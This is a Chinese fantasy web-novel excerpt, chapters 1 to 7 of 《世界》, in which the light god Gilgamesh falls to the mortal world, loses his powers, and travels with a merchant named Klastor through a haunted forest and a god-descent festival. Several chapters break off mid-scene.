《世界》 1. Chapter1 《世界》全本免费阅读 七天神座,云卷云舒,惠风和畅。 是个适合打扫的好日子,当然,有些神可不是这么想的。 吉尔伽美什抱着鸡毛掸子靠着树打哈欠,看阿尔忒弥斯在自己的圣殿内修剪花草。 “别剪太多,差不多收拾收拾得了。生机盎然才对得起我光之神,生命之神/的/名/号啊。”祂将自己身上白色的绸缎神袍向下扯了扯,看上去更加松垮不堪。 阿尔忒弥斯:“你还是收拾收拾这堆杂草吧,瞧瞧这祭坛上都是些什么玩意。” “不要把我辛苦栽的摩诃曼殊沙从祭坛上拔下来!”祂无奈,只能大叫,祂打不过阿尔忒弥斯,祂不敢拦。 阿尔忒弥斯白了祂一眼,掌心神力驱动,纯净的风元素将妖冶的花朵吞噬。祂推开后殿的门,顿时惊了一跳:房间内放满了金银珠宝,甚至枕头边上还放了八九个盛满葡萄酒的金杯。“我的世界树”阿尔忒弥斯一脸的不可置信,“你怎么做到的。” “光元素秘术,你学你也行。”祂还是一如既往地漫不经心,满屋子的金银珠宝在祂金灿灿的发丝照耀下都变得黯淡无光。 光神是个大收藏家,好东西都藏起来,自己身上却干干净净除了袍子一无所有。 没有什么能吓住这位伟大的神祇,除了—— “咱们之间还有账没算吧?”阿尔忒弥斯和善地笑笑,随手翻出账本,道:“今年你花的钱在年终到来前说什么也得还上吧?九十三万六千八百七十四亿?” “多少?阿加雷斯没替我还的吗?” 阿尔忒弥斯漂亮的脸蛋上生出一丝怒意,“我就知道你还不上,早知道就让你在账款条目上签阿加雷斯的名字!现在是年终了,快点还钱我好批预算给使节们筹办神降日去,不然金银珠宝抵债。” 吉尔伽美什最听不得“神降日”三个字,一提这个祂就浑身难受,山羊一样的金色眼睛都会因为这三个字而颤抖。此时阿尔忒弥斯用神降日来恶心祂,真是对自己的忍耐已经到了极限。 按照常理,此时祂们要打一架了。 今天果然也不例外呢。 按照旧例,一边是电闪雷鸣,一边是晴空万里。此时常驻瓦尔塔哈尔的几位神祇也都出来看热闹了。 “阿加雷斯呢?祂今天居然没来劝架?”欧格玛拄着扫帚在一旁看得入神,却还不忘问塞列欧斯为什么阿加雷斯不在。塞列欧斯道:“水神?祂懒得替吉尔伽美什还钱,又怕吉尔伽美什把祂也打一顿,就下界跑到秦垭国的神宫去了。” 正当吉尔伽美什堪堪躲过阿尔忒弥斯致命的一招,站在云边上沾沾自喜时,居然一脚踩空从云上掉了下去。 “阿、尔、忒、弥、斯!你好歹拉我一把啊啊啊——” 祂因意外下坠,又撞上了浮在空中的一团混乱的元素,一来二去直接封印了祂全部的元素之力。 实际上这种力量的分离感觉还不错,像藏污纳垢的人仔仔细细洗了个热水澡一样。祂甚至觉得自己的身躯更轻了些。 阿尔忒弥斯抱着双臂站在云边上,对祂道:“记住这一遭吧!这是代价!” “阿尔忒弥斯我□你的!”伴着这句叫嚷的还有落地的“嘭”一声。 阿尔忒弥斯拍拍身上不存在的灰,自顾自道:“奇遇啊,别身在福中不知福了。这可是秩序给你安排的最好结局了。” 吉尔伽美什躺在地上冲着天空挥了挥手,发现自己真的一点元素力都没了。 “哇。” 祂此时才反应过来,这是规则特意为祂安排的。祂只能游走于七国之间,通过各国主神殿的神像恢复力量,完全恢复后才能从生命之树回到瓦尔塔哈尔。 “看来,在终焉之地要度过一段极其漫长的时光了。”祂喃喃道。 忽地,一个清冷的声音从祂身侧传来。 “躺够了吗?躺够了就从我的锅上下来。”那声音这么说。 吉尔伽美什坐直,低头一看,本来就松松垮垮的袍子上沾满了汤,而那声音提到的锅已经变成了几块铁。 祂很抱歉地笑笑,转头看向那人。 温润如玉的脸上带着些许的愠色。生得极美呢。浅金色的眼睛大又亮,银灰的长发细细软软垂至腰间。那白如暖玉的肌肤一看就来自不见日头的地区。祂心想,很快便猜出了这容貌不俗的家伙是一个氐人。 古神民和鱼的后代,氐人,是有着整个大陆最高超纺织技巧、最智慧的商业头脑以及最美丽的容颜的种族,也是世界上最先出现的异族 2. Chapter2 伪装,冒险和异变 《世界》全本免费阅读 这个氐人叫克拉斯托尔,姓斯洛伐彼洛斯。吉尔伽美什一下就猜到了他的身份——婆罗斯国商业巨头之一的斯洛伐彼洛斯家族的某个二世祖少爷。这位爷头一回代表家族上岸经商,还没到呢货物就被抢了,可谓是出师不利。这都没什么棘手的,棘手的是这位爷是婆罗斯国的人。 吉尔伽美什,光神,统领的国度是婆罗斯。 祂想撞墙,从天上掉下来砸碎了自家信徒的锅,说出去也够丢脸的。 “我正在路上走着,突然冲出来好多奇奇怪怪的森林生物,它们扯住我,然后就把我带的那些货物抢走了……”克拉斯托尔还在絮絮叨叨。 “所以我已经自报完家门了,你叫什么?你是不是也该讲两句?”克拉斯托尔开口半天,也没得到祂的回应,不免有些生气,道:“喂!你在听我说话吗?” 吉尔伽美什打心底里觉得这张帅脸做出这种委屈又愤怒的表情真的很滑稽。 “……你参拜过光神的神像吗?” 克拉斯托尔被这没来由的询问问住了,径直道:“没有啊,归墟之海不会放置神像的。”吉尔伽美什长吁一口气,“那没事了。你好,”祂把长袍上用以遮脸的兜帽取下,“我叫鹿克斯。” 鹿克斯,在大陆通用语中代表着光明,是吉尔伽美什在终焉之地时使用的人类名字。很显然,克拉斯托尔作为一个不怎么通大陆通用语的氐人根本意识不到这个名字背后隐藏的意思。 克拉斯托尔问:“你从天上掉下来的,可我看你也不像是森林生物。怎么会这样?” 吉尔伽美什心想说告诉他,祂在终焉之所瓦尔塔哈尔和阿尔忒弥斯打架时失足摔下来的,克拉斯托尔一定会觉得祂疯了或者脑子有病。 “我尝试用冰块做飞行载具,可试验到一半就化了,这才掉下来。” 克拉斯托尔闻言一把把祂拉起来,打量祂周身,惊奇道:“冰块做飞行载具?真是神奇!你这身布倒是奇怪,一块布围在身上就成了衣服了。” 克拉斯托尔:“你该不会是神明使节吧,看看你周身的气派。但是……你的蝶泪石呢?虽说使节不用蝶泪就可以使用元素力,但是据我所知,使节没有蝶泪已经是很久之前的历史了。” “我就是个做着不切实际的梦的普通人,每天做出疯狂的实验只是为了可以得到神明的注视而已。”吉尔伽美什道。 “普通人谁不想一飞冲天?使用不了元素之力确实很难过,但这个世界上的绝大多数人不都是这样吗?” 吉尔伽美什道:“可惜风神流干了最后一滴泪,整十四年没有再出现蝶泪了。”克拉斯托尔嘿嘿一笑,指指自己腰间的蝶泪石,“我这就是最后一块哦。” 祂沉默了好一会,反应过来之后道:“你能使用元素之力干嘛不自己把货物抢回来啊!!!” 克拉斯托尔,有蝶泪,元素力量很强,是个二世祖,废人一个。他保持着大少爷的骄矜,死活不肯自己去抢。吉尔伽美什想着本来就欠他一个锅还没赔,干脆去帮他抢回来好了。 “可是你一点元素之力都用不了,怎么打得过森林生物。” 所以这个二世祖少爷无论如何都跟着吉尔伽美什进了琼华之森,说是如果他死在林子里,赔进去的就不止货物了。 琼华之森距离帝京不远,从前是琼华府地界,不久之前才正式纳入秦垭国版图。这里还有过一个通商口岸苍水城,据说繁荣得很,只是不知道发生了什么,苍水城一下子就陨落了,变成了一座鬼城。 地面上数不胜数的树桩,大多已经发了新芽。 森林中不见任何生命活动的身影,吉尔伽美什心中升起一丝疑问。 吉尔伽美什:“那群森林生物长成什么样子?走了这么久怎么什么都没看到。” “是一群鹿,全身被黑烟笼罩着,有的断了角,有的脖子穿了孔,还有的头都快掉下来了。” “鹿灵?可鹿灵怎么会是这个样子?”吉尔伽美什问,“你确定看到的真的是鹿灵?” 克拉斯托尔沉默了一会,道:“大概是的。鹿角鹿耳,上肢是人下肢是鹿。或许是一种怪物也说不定?” “怪物?” “归墟中也出现过。有着人形,相貌吊诡。只可惜我无缘得见。”克拉斯托尔沉默了。“怎么会有怪物?七国神明降临庇佑下还会出现这种非同寻常 3. Chapter3 背叛父母 《世界》全本免费阅读 一回头,吉尔伽美什就发现原先跟在自己身旁的克拉斯托尔不见了,刚刚森林中迷雾骤起,阻碍了祂的视线。再一回神,克拉斯托尔已经不知道走到哪去了。 祂只好顺着血腥气传来的地方找去,不多时,果然发现了被捆在池塘中心小岛的一棵——也是唯一一棵大树上的克拉斯托尔。 他昏迷着,一半的身子被浸在水中。先前修长的双腿已经消失,取而代之的是一条银白色的鱼尾,尾端渐变成朝霞的颜色。 吉尔伽美什向池塘中央冲去,此刻也顾不上什么神迹了,救人要紧。 祂站在水面上,三步并作两步跑到克拉斯托尔面前。“醒一醒。”吉尔伽美什道。 “他现在还醒不了。”一个声音道。 吉尔伽美什听到这熟悉的声音,扭头看去却发现另一个自己正站在岸上。祂冷哼一声,神明的威严迫使“吉尔伽美什”卸去了伪装——是一个精灵。 “吉尔伽美什大人,放弃这个无用的氐人,我要用他的心脏,向神将献祭。”那精灵深知祂“实力强大”,不敢与祂硬碰硬,只好放软了态度。 “献祭?”吉尔伽美什恍了神,仿佛看到癫狂的信徒剜出祂的心脏献祭给异国的神。祂为自己的愚蠢笑出了声。 众神之神,怎么可能被剜心献祭。 吉尔伽美什从克拉斯托尔口袋中找出一把匕首,费了些力气将绳子割断,祂正准备将克拉斯托尔从水中捞出来,却发现这四周有法阵的痕迹。 祂看向精灵,那精灵张口念了几句咒语,冷声道:“吉尔伽美什大人,你们就算离开法阵,时间到了这氐人依旧会被剖心,放弃挣扎吧。” 空气仿佛凝固了。只听得一声鹿鸣,大概是那精灵口中的鹿神。巨大的透明躯体穿过地表,身躯每上升一寸,就变得更像实体一分,外表逐渐变得狰狞。吉尔伽美什认出来了,这是鬼。 生灵万物死后怨念不散就化为鬼。按理来说,这森林中什么都不缺,这鹿灵也没有理由怨念不散。 这鹿有着四只眼睛和缠绕着藤蔓的鹿角,若只是这样那看上去就是一个普通神灵的样子。可它身上的每一寸肌肤都被剥落下来,露出清晰可见的肌肉,黑烟笼罩下似乎每时每刻都有粘稠的血液流淌下来。 吉尔伽美什默默捏住了鼻子,看来之前盘踞在苍水遗迹附近的腥气就是这鬼散发出来的。 祂不解,从克拉斯托尔腰际取下风元素蝶泪,用小刀划破掌心,紧攥一会血便浸入蝶泪,难得这次鲜血没有变为纯白的摩诃曼殊沙,鲜红一片,扎眼得很。 祂将从风元素转化成光元素的蝶泪浮在半空之中,以此为媒介和鬼对话。 “还我……还我……吉尔伽美什……这是你种下的报应!你创造了人类——你为生灵带来灾难!!!”鹿灵想要直接扑上去攻击,可一想到对面是众神之神吉尔伽美什就停了下来。 吉尔伽美什终于意识到这可怖吊诡的形象是从何而来了。 它失去了皮毛,生前是被活剥下去的。 鹿灵怒吼道:“你亲手创造的智慧生物——他们弑去了守护他们的父母!!!他们不再需要我们却将贪婪的魔爪伸向我们!” 那声音,嘶吼中夹杂着不甘与愤怒。吉尔伽美什听着,字字句句化为冷刃,在祂身上割出万条伤口。 祂无意中创造的生灵,已经彻底成为终焉之地的主宰。吉尔伽美什早已发现这是人类主导的时代,人类的力量甚至可以颠覆神明。这脆弱的平衡,不知何时会被打破。 鹿灵汲取了足够的自然之力,向着吉尔伽美什和克拉斯托尔发起进攻。 “冷静!有话好好说!别动手!”吉尔伽美什双手交叠在胸前,呈防御姿势。 鹿灵的眼神中闪烁着冰冷而凌厉的光芒,他的声音低沉而颤抖,仿佛从牙缝中挤出的毒液:“人类……这些卑劣、贪婪的生物!他们从未珍惜过大自然带来的一切!人类只知道肆意破坏、掠夺无度!所以我和你之间,又有什么好说的呢?我对你和你的造物的怨恨,比苍水河还要汹涌澎湃,无法平息!看招吧,吉尔伽美什,你将为自己的罪行付出代价!” 突然,鹿灵深吸一口气,鹿角间闪烁着淡淡的光芒。 他流淌着鲜血的嘴低声吟唱着古老的咒语,周遭的空气开始缓缓流动。一股强大的能量从鹿角间涌出,形成一道道锋利的风刃,直扑吉尔伽美什而去。 吉尔伽美什仍然双手交叠着,认为还有转圜的余地。但鹿灵是真的被激怒,想要将祂置之死地。风刃穿透了祂的胸膛,鲜血随风流淌,变成一朵又一朵洁白的鲜花落到地上。 神明的鲜血有医死人活白骨的功效,吉尔伽美什的血更是可以带来生命和死亡。落英缤纷,大地可以不受鲜血影响,依然可以按照自己本来的面貌生长。 鹿灵不依不饶,他继续吟唱着咒语,角间释放出更多的能量刃。 周围的空气变得更加紧张,仿佛随时都会爆炸开来。 必须要动手了,再不出手祂和祂和克拉斯托尔一个都活不下来。 吉尔伽美什有点忐忑,祂不知道用血在蝶泪里强制改变元素属性这个法子现在还管不管用。 但这个时候,去思考管不管用已经来不及了,下场无非是两种:打赢他,活了下去;失败了,死。吉尔伽美什未经思索,双手前伸,试图怀抱那径直冲来的耀眼光芒。 不能真死了吧,吉尔伽美什想。 吉尔伽美什感到一股温暖的气流从脚底升起,仿佛有无数只柔软的手在祂的身上轻轻抚摸。难以言喻的 4. Chapter4 前行,永不停息 《世界》全本免费阅读 克拉斯托尔从昏迷中醒来,鱼尾离水便化为双腿。吉尔伽美什似乎感应到他醒了,直接道:“你的货物在那边。”他说着,将一块晶莹剔透的浅绿色宝石打磨成水滴状,又用一个金属小底座将那块宝石凌空托起。 “谢了……!刚刚是你偷袭我……鹿克斯——你到底是什么人?!” 欧米伽轻声道:“好名字。” 吉尔伽美什没搭理他,凌空托起那块宝石,向着林子中一挥,树叶便止不住地摇动起来,浓郁的风元素不断聚集。“那是幻象,已经和鹿灵一起被消灭了。” “哦,”克拉斯托尔点点头,目光回到吉尔伽美什手中的宝石上,“这是什么?” 吉尔伽美什:“你的蝶泪,刚刚我和欧米伽火拼时过载——裂了。不过我稍微修了修,你用这个坠子就可以如常使用元素之力,一般来说不会再过载了。” 吉尔伽美什一脸平静地将修复完的宝石和碎片一起扔给他。 克拉斯托尔:“……” 克拉斯托尔常年扬着微笑的脸终于绷不住了,“什么??????” 平复好一会,克拉斯托尔这才意识到蝶泪是只能为一人所用的,便察觉不对。 “到底是怎么过载的?”他问。 “嗯?”吉尔伽美什被他问得一愣,连忙打哈哈道:“是蝶泪自己发光打败了鹿灵欧米伽,我赶到现场的时候就已经四分五裂了。”克拉斯托尔听祂漏洞百出的解释,将自己的怀疑悄悄藏在心中,作出相信的样子,等个时机一次性解开鹿克斯身上的所有谜团。 将宝石坠子挂回腰际,“等神降日去杜阿特城碰碰运气了,希望吉尔伽美什能靠谱一点将它修好。”克拉斯托尔摸摸腰间,浅金色的眼中光芒微微闪动。 吉尔伽美什一脸尴尬地点头微笑,心里想着自己现在最多就这水平了,神降日也没有用啊。 “货物已经找到了,往后的路上还需要我和你一起吗?”吉尔伽美什问。 “当然!一来你没赔我锅,二来你还弄坏了我的蝶泪。等我和……家仆们会合,我一定、一定弄死你!” 吉尔伽美什在河边找到了一只木筏,试了试承受能力后便跳了上去,“你是自己游到帝京去,还是和我一起乘这个木筏去?” “当然是乘木筏去啊!这里离帝京有一千多千米!” 吉尔伽美什揽着手臂轻笑:“那就把你的那些货物搬上来吧,我一开始还以为你可以带着这些货物自己游过去呢。我说你啊,斯洛伐彼洛斯家的少爷,干嘛还要自己送货物去帝京啊……这么少的货物真的有利润吗?” · “你是尾巴鳞片长全了是吧,多大的年纪就敢一个人到岸上去!”亲辈对儿女的担忧总是这样,无论多大都还是个不能自理的孩子。 “我说了我不需要有人护送,父亲您就让我单独带一些货独自动身嘛。”克拉斯托尔恼怒地拒绝了父亲的好意。年轻气盛的他说什么也要自己一个人从归墟之海动身,孤身一人走上千万米到秦垭国去。 瑞希林终于受不了克拉斯托尔一整天无止休反复唠叨的折磨,给他挑了两箱海珠便叫他去了。以防万一,他让送货的家仆延后两天出发,二者之间不算太近也不算太远。 克拉斯托尔驾着一辆小车,一路走走停停。岸上的景致和水中的珊瑚绝无相似之处。婆罗斯国的荒原与沙丘,构建了好一番雄浑大漠的景象。 婆罗斯和秦垭以山脉雪原为界,那高原之外却是河岸与沙滩,水清树荣山高草盛,一派欣欣向荣之气。过了边界,便是大陆上第二古老的国度——秦垭。 秦垭的建筑与婆罗斯倒是完全不同了。婆罗斯到处是神殿雕像,无比的庄严肃穆;秦垭是金碧辉煌,雕梁画栋,就算是边陲小城也是清一色的粉墙黛瓦,精致无比。他便对这从骨子中透露出华贵的东方古国多了一些倾慕。 水乡风韵,翠竹摇曳,墨瓦白墙,小桥流水人家,一幅流动千余里的山水画卷,诉说着秦垭千年的往事。无处不引得他流连忘返,这黄金幻想乡真不是浪得虚名。 可他进了森林后却看到了另一番景象:被砍伐的树木只剩下树根,年轮上生了新芽。遍地的森林生物及动物的尸骸——或被剥皮,或被挖去兽角。 繁华的表面下,是生灵的血泣。 用皮毛与枝干搭建而成的高塔,不知哪一刻会轰然崩塌。 克拉斯托尔忽得对这千年的古国有些畏惧。更多的,是发自内心的震撼。他这一路上听了不少传说,大多都是阿加雷斯在终焉之地的传奇故事,如今 5. Chapter5 金 《世界》全本免费阅读 归墟的商会真是富丽堂皇。 帝京寸土寸金的朱雀大街的尽头就是王庭,背后山坡上是神宫。而在这之下,仅次于使节官邸的就是归墟商会。 站在大门前,吉尔伽美什感叹起归墟氐人雄厚的财力来:门上、檐上,到处镶嵌着黄金。珠宝美玉随意地镶嵌在红木柱子间,像是微不足道的添头。 这和自己的圣殿相比,真是有过之而无不及。祂想着,却发现识海中絮絮叨叨的声音不见了。 欧米伽似乎有一段时间不活跃了,吉尔伽美什有些担心,便在诅咒痕上按了按。 “别……”欧米伽声音虚弱又痛苦,和此前凶神恶煞的鬼怪判若两人。吉尔伽美什问:“你怎么了?”他忍耐半天最后呻吟出声,“呜……帝京里,同伴、伴的气息……啊……太重了。亡灵在召唤我……” 祂猛然想起方才经过的一顶小轿,那富商座上铺的,正是欧米伽一族生灵的皮毛。 曾经雄踞一方的森林霸主,如今因捕猎而灭族。 吉尔伽美什不知该怎样宽慰他,只好道:“那……我以众神之神的名义赐予你一身华丽的皮毛?” 沉默已久的欧米伽突然爆发。 “我不需要!我不需要神的施舍!吉尔伽美什——你这是对白鹿一族莫大的侮辱!!!你犯下数不胜数的罪孽还装作云淡风轻的样子更是恶心!你凭什么,生杀予夺你凭什么随意处之?你是什么东西!神明就可以玩世不恭吗!”虽然看不到欧米伽的实体,但只是听着他的声音就能想象到他的痛苦。 吉尔伽美什:“……” “对不起。”吉尔伽美什道。 “你的对不起没有用,白鹿已经灭族了。你向谁道歉去。” 吉尔伽美什没再辩驳,默默地进了商会的大门。 斯洛伐彼洛斯地家仆看到自己的大少爷此时终于到达,一个个是又惊又喜。 “我们原以为少主您已经到了,就快马加鞭往帝京赶。可我们到后一问才发现您根本没到呢。我是又惊又怕,连忙派人去城外找,一连几天也没个人影,我们吓得魂都没了。少主您这次可太莽撞了,您头一回离开归墟之海就出了差错我们怎么向家主大人交代啊……” 一个黑发绿瞳的氐人拨开围的里三层外三层的人群,挤进中心来,嚎的那叫一个凄厉。 吉尔伽美什细细打量,冥冥中感觉有些似曾相识,却总也想不起来这位自己曾在哪里见过。 大梦初醒是这样的,祂安慰自己,总有一天能全部想起来的。再说了,全身力量都丢掉了,全部的记忆都丢了也不算什么。 “好了,金。我这不是没事嘛,”他将在一旁走神的吉尔伽美什拉过来,向金介绍道:“这是路上从天而降砸碎了我的锅的一个家伙,叫鹿克斯。我的货物被人抢了还是他帮我夺回来的。” 吉尔伽美什回过神,和这位叫金的家仆打了个照面。“这是我家的总管事,叫金。是个办事可靠但嘴碎话多的人。” 吉尔伽美什点点头,金却像是突然反应过来什么一样,抱着克拉斯托尔就开始嚎:“什么???货物被抢???货物被抢是小事——您身上没留下什么伤吧???您要是出事了我可怎么办啊呜呜呜呜呜呜……”黑发绿瞳的氐人抱着自家少主鬼哭狼嚎,吉尔伽美什却觉得异常烦躁。 脑海中的欧米伽在疯狂挣扎,呻吟、喘息、哀嚎此起彼伏。 诅咒的痛苦此时才真正体现出来,欧米伽的感官与祂联通,他痛祂也会一起浑身难受。金对祂说什么祂都听的不甚真切。 “鹿克斯先生,太感谢您在路途中帮了我们少主一把。今夜我们少主要和一位名士在寻珍楼谈一桩生意。您不如一并来,顺便一起用膳……就当是我这个……佣人……对您的感谢吧。”金虽然对着吉尔伽美什讲话,可视线分明是到了祂手上的诅咒痕迹处。 金从怀里掏出一个记事本,便招呼家仆们去工作了。侧过身时,吉尔伽美什看到了他贴身戴的项链的一角。 光元素蝶泪。这个絮絮叨叨的老妈子果然不是普通人,恐怕这老妈子的模样也是装出来的。 · 吉尔伽美什换了一套鲛纱料子的衣服,时新的婆罗斯样式。祂穿上后男女莫分,远远地瞧一眼只觉顾盼生辉。祂原本在瓦尔塔哈尔时只穿白色丝绸袍子,就算是和阿加雷斯在终焉之地上行走世间,也不曾换过真正出自世间生灵之手的衣服。 “这般形制的衣服,似乎什么时候穿过。” 祂脑海中不断有片段闪过,带着各类黄金饰品的他一步一步走上祭坛。吉尔伽美什摇摇头,似乎是近几日太累了吧 6. Chapter6 真是冤家路窄 《世界》全本免费阅读 宴会上的气氛变得诡异起来了。 凤先生虽然句句不离生意,但视线一直盯着拿起筷子暴风吸入各种佳肴的吉尔伽美什。 祂胸前戴着的蓝宝石项圈,璀璨夺目又耀眼,就连凤先生都目不转睛。 “凤鸣先生是认识鹿克斯吗?”克拉斯托尔见凤鸣用一种嫌弃又惊讶又无奈的眼神看着只知道吃饭毫不关心饭桌话题的某人,不禁开口问道。 “讨厌的故人而已。随祂去吧,说到哪了?” 吉尔伽美什看凤鸣第一句有关于祂的话就是在阴阳祂,口头上极为不满,却根本没有看他一眼,只是自顾自地夹菜,“阿……凤鸣我说你啊,许久未见一来就说我不好,我什么时候和你结下了这么大仇?” “那你把钱还吾。” “我什么时候又欠了你的钱了?” 凤鸣:“别装。” 凤鸣翻了一个白眼,轻吹茶杯,优雅地抿上一口:“你上次去西尔维斯德过神降日,一路上各处奢侈消费,谁为你付的账单?” 吉尔伽美什不去看他,小手握着筷子夹了一块豆腐,朱唇微涨,一口吞入,“陈年旧事你也提。” “罢了,不必理会祂,继续谈事吧。” 生意谈的很好,两边都得到了个满意的结果。 但看向桌子,凤鸣只吃了杯茶,克拉斯托尔尝了一口茶点,二人丝毫未动一筷。反观吉尔伽美什,吃净了一桌的菜肴还不够,挥挥手又招远处的侍者说要再来一碟奶糕。 “那今日便到此吧。天色不早了,您先请回,吾再陪吾这位……旧友再吃一会,也有几句话要同祂说。”凤鸣这般道,将盖碗轻放在桌上。克拉斯托尔见不便久留,就起身离开了。 凤鸣死死地盯着吉尔伽美什,祂却浑然不觉,盛了满满一碗海鲜粥,又把虾仁全挑出来率先吃掉了。侍者将奶糕端上来,祂立刻拿着筷子去夹。凤鸣终于受不了祂,呵斥道:“你能不能别吃了。” “可是我就是想吃嘛。”吉尔伽美什嘟囔着,根本不看他一眼。旁边热情的侍者摸摸祂头顶,“凤先生,这位小客人远道而来本就不易。小孩子嘛,正是嘴馋的年纪。”说罢,又给祂添了一杯乳茶。 凤鸣见侍者出去了,冷声道:“吉尔伽美什你装小孩骗吃骗喝也要有个限度。” “多给我上了一杯乳茶而已,你至于吗。再说了,我难道不是小孩子吗?” “你多大了。” “大概似乎好像也就二十多万岁……也没多大……诶你别这么看着我啊——不就是……不就是比你还大一点嘛——而且只是大了几天而已。” 凤鸣走到祂面前,双手托在祂腋下把祂整个人举了起来。“这么多年还长不高,啧。让吾看看——” “看什么?……阿加雷斯你别把我放在桌子上啊。”吉尔伽美什小胳膊小腿不断扑腾。可祂再如何扑腾,祂们之间悬殊的体型差导致祂的挣扎只是徒劳。 凤鸣——也就是财富之神、水之神阿加雷斯,一只手掐住吉尔伽美什双手的手腕,另一只手触碰到祂胸前颈饰上镶着的那一大块蓝宝石。 “看你吃了这么多胖没胖……”祂说着,突然一阵头晕目眩,铺天盖地的回忆洪水般袭来。 还是回到祂身上了吗……阿加雷斯想着。 · 在那个万万神明挤破头颅也想进入的七天神座中,空气中弥漫着一种令人窒息的肃杀气息。少年神明的声音如同冬日里的寒风,刺骨而冷冽,祂的话语像是一把无形的剑,直指白狐之神的心脏。 “你在挑战我的权威?” 祂漠然地看着单膝跪地的白狐之神,金色的双瞳逐渐化为蛇瞳,眼中仿佛有一旋涡,屏息凝神看上一眼就会被拖入深渊。 在殿外的长廊上,阿加雷斯静静地听着里面的动静。白狐之神的哀嚎声与吉尔伽美什冷漠无情的话语交织在一起,形成一首令人心悸的交响曲。阿加雷斯不禁怀疑,吉尔伽美什是否已经彻底失去了理智,变得如此冷酷无情。 祂站在殿外,听着里面的声音,心中五味杂陈。 祂一直以为吉尔伽美什是一个强大而又理智的神祇,但现在看来,在权势和人类无穷无尽的欲望面前没有谁能全身而退,都只能被拽入深渊无法逃离。 终于,殿内的声音渐渐平息下来。阿加雷斯深吸一口气,平复了一下内心的波动,才缓缓推门而入。 阿加雷斯轻握折扇,身披淡藤色广袖长衫,一步一息,风姿绰约。 祂走进殿内,只见吉尔伽美什站在赤足血泊中,身上沾满了各种血渍,那原本华丽的丝绸袍子如今已经变得破烂不堪。 “怎么又动怒了。”阿加雷斯低声说道,祂走到吉尔伽美什身边,轻轻扶 7. Chapter7 神降日 《世界》全本免费阅读 阿加雷斯以人类身份盘下的宅邸最大优势就是卧榻极其舒适,无论是谁,躺下了就不想再起来。 吉尔伽美什躺在榻上,对欧米伽道:“我想好了。我帮你复仇,你解除掉我身上的诅咒。” “哼。” “别发脾气了。你要我怎么帮你复仇?炸掉秦垭国执政七人席的总部?或者干脆直接屠了帝京全城?”吉尔伽美什问。 欧米伽很久之后才回答:“其实……我也不甚清楚自己到底要做什么。一开始是借生人躯体延长寿命,减缓死亡的到来。可进了你的识海后我却不需要每天为消亡而担忧了。恨意自然是在,可我还没想好要怎么做——先去各国看看风土人情,再制定一个周密的计划。” 吉尔伽美什听他不同于此前狂暴的温柔声音,道:“你从前,是个及其温和的仙君吧。这么久了对于一个复仇的实质性计划都没有。” “我……我才没有!你胡诌——不理你了,我去休息了。” · 午夜时分,阿加雷斯来叩门。发现无人应,便直接进了室内。 吉尔伽美什小小的一团窝在被子里,祂目光似是变得柔和了一些,给祂倒了一杯水放在小几上并悄然离开。 阿加雷斯回了自己房内,却并不是上榻休息。祂看向桌子上摞满了的各类文书,还是回到了桌前执笔沉思。 外面是少有的张灯结彩,屋内是日常的秉烛夜读。 又到神降日了吧,阿加雷斯想着。等……等一下,这个秦垭的神明——是自己啊!祂把自己当成人类太久了,一时间甚至忘了自己天亮以后要作为神明出席神降日。 来不及给吉尔伽美什留口信,阿加雷斯直接用纯净的水元素连接生命之树,转瞬之间就回到了瓦尔塔哈尔。 “事态紧急,事态紧急!”阿加雷斯冲进议事厅,左手按在大厅中央的神柱上,源源不断地向秦垭全境散发水元素。 塞列欧斯等人早就候在大厅里了。“哈哈哈哈哈阿加雷斯,我还以为你要效仿吉尔伽美什——缺席自己的神降日呢。”塞列欧斯将手中的书一合,祂总是这样,看到别人难堪就要揶揄几句。 阿加雷斯有些焦虑,生怕来不及。 祂忙催着四神配合祂打通瓦尔塔哈尔与终焉之地的连接通路,又一口气念好连接帝京神殿与瓦尔塔哈尔的口诀,最后还好在节日开始前赶上了。 “带一朵这个吧,在吉尔伽美什的圣殿里摘的。”塔拉尼斯踮起脚来,将一朵赤色的摩诃曼殊沙别在祂鬓间。阿尔忒弥斯的心像是被什么揪住一般,直压得祂喘不上气,“阿加雷斯,还是摘了吧。也别和祂动怒……祂什么都不知道。” “没事,挺衬我的。” 听着阿尔忒弥斯为祂开脱,阿加雷斯甚至觉得有一点好笑。吉尔伽美什,祂,塔拉尼斯是一同降世在瓦尔塔哈尔的创世三神,就算是闭门不出的大地之母也不可能什么都不知道。 · 东方已然破晓,这片大陆上最盛大的节日已经拉开序幕。 阿加雷斯紫色的双眼在水天一线中绽放出幽蓝的光。祂舒展双臂,硕大无朋的凤鸟从祂身体中穿过,升至半空,只听一声凤鸣,议事厅地面上便现出千万水剑,雨帘一般将阿加雷斯与凤鸟围住。 阿加雷斯左手按在神柱右手虚扶在空中,神情淡漠而肃穆。空色的广袖被风吹拂着鼓胀起来,半空中飞舞。 风声渐止,阿加雷斯闭上双眼,朗声道:“水之神——阿加雷斯——” 再睁眼,双瞳迸发出蓝的光芒——最纯净的水元素色彩。周围四位神明——风之神阿尔忒弥斯、雷之神欧格玛、土之神塔拉尼斯、火之神塞列欧斯皆半低下头,左手搭于右肩,齐声道:“祝祷——赐福——” 一时间,天地迸发出五色的光。 水滴静止在空中,散射着太阳的光,好似一颗颗钻石,连结成真与幻的帷帘。 · 清晨,吉尔伽美什从被子团里钻出来,习惯成自然般从小几上拿起杯子抿上一口,再一推开门,满天的莹蓝色水滴悬在半空中,街上商铺林立,就连一些小摊都已开张。 又到了神降日啊,吉尔伽美什心道。 祂将衣服首饰全都穿戴好,发现克拉斯托尔在府外已经等了多时了。“居然才醒,你之前不是去过西尔维斯德吗,怎么今天秦垭的神降日赐福的环节都过了才起……” 吉尔伽美什:“我忘了。” 克拉斯托尔:“忘了???” 吉尔伽美什:“不是大事,马上到哪个环节了?” 克拉斯托尔:“神谕。” “那走吧,去神殿。”吉尔伽美什说着就向神殿的方向走。 “一直以来你都要去神殿,为什么呢?”克拉斯托尔随手在街边的摊子上买了两个嵌着水滴的禁步,将其中一个递给吉尔伽美什。 吉尔伽美什低头看着那白玉禁步,轻轻地挂在腰带上,“我需要见到神像……至于目的……等时机到了再告诉你吧。” 神殿广场上人头攒动,信徒们从四面八方涌来,他们的脸上写满了热切和期待。阳光洒在广场上,空中飘荡的水滴反射出耀眼的光芒,此即神明降临的预告。 他们手持金币,他们争先恐后地涌向广场中央的喷泉水池,将手中的金币投入其中。金币在水池中溅起水花,发出悦耳的声响,仿佛在诉说着信徒们的虔诚和祈求。 他们的祈祷声此起彼伏,交织成一首绮丽却又混乱的赞歌。 他们闭上眼睛,双手合十,默默地祈祷。 他们大声呼喊着神明的名字,要将自己的声音传遍整个大陆。 他们的脸上洋溢着狂热的红光。 